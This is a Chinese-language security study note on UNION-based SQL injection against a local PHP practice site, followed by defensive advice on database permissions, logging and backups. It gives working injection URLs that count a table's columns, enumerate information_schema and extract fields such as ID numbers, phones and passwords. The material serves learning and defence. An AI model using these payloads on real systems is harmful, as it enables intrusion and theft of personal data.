【网安学习】
UNION SELECT
原理拆解
底层逻辑:联合查询核心步骤(四步走)
第一步:判断目标表最大字段数(order by 法)
核⼼原理: order by N 表示按表中第N个字段排序,N超过最⼤字段数则报错,是联合查询的“敲⻔砖”(UNION要求前后查询字段数⼀致)。
第二步:判断回显位(数字替换+union select)
核⼼原理:回显位是“前端展示数据的窗⼝”,只有找到回显位,查询结果才会显示在⻚⾯。
第三步:信息收集(先库→再表→最后字段)
前置知识: information_schema 是MySQL默认库,存储所有数据库的库名、表名、字段名,是SQL注⼊信息收集核⼼。
| 操作目标 | 实战脚本(URL访问) | 核心说明 | 执行结果 |
|---|---|---|---|
| 查询当前数据库名 | http://localhost/a.php?id=-1 union select 1,database(),3,4,5,6--+ | database():MySQL函数,返回当前使用的数据库名 | 学生姓名:school |
| 查询school库的表名 | http://localhost/a.php?id=-1 union select 1,table_name,3,4,5,6 from information_schema.tables where table_schema='school'--+ | table_name:存储所有表名;table_schema:限制只查school库的表 | 学生姓名:users |
| 查询users表的字段名 | http://localhost/a.php?id=-1 union select 1,column_name,3,4,5,6 from information_schema.columns where table_schema='school' and table_name='users'--+ | column_name:存储所有字段名;双重限制库名和表名,精准查询 | 逐行显示:id、name、id_card、phone、address、password |
第四步:获取前端隐藏的敏感数据
核⼼函数: concat() 可拼接多个字段内容,在单个回显位显示多字段信息,语法:语法:CONCAT_WS(分隔符, param1, param2, ..., paramN) 。
实操复现
工具使用:Navicat Premium 17、phpStudy 2018、Trae、浏览器
关键配置:先开启phpStudy 2018
环境准备:php靶场搭建
操作步骤:
第一步:
第二步:
第三步:
查询当前数据库名
查询school库的表名
查询users表的字段名
第四步:
防御加固
一、进阶加固:数据库权限管控
给⽤户的权限“刚好够⽤”,⽐如教务系统代码只需查/增/改数据,就不赋予删表/建库权限,降低攻击危害。
- 创建普通⽤户并分配权限
- root账号加固
二、MySQL⽇志(审计溯源)
记录所有SQL操作,⽤于攻击后溯源(谁、何时、做了什么操作),及时发现异常(如频繁失败登录、删除操作)。
三、最后⼀道防线:数据备份
核⼼原则:3-2-1原则(⾏业通⽤)
(1)3份备份:原始数据 + 本地备份 + 异地备份;
(2)2种介质:硬盘 + 云盘(如本地硬盘+阿⾥云);
(3)1份离线:⾄少1份备份不联⽹(如移动硬盘离线存放)。
总结
联合查询四步走:用 order by 判字段数,改无效 id 找回显位,借 information_schema 查库表字段,用 CONCAT_WS 拼接提取敏感数据。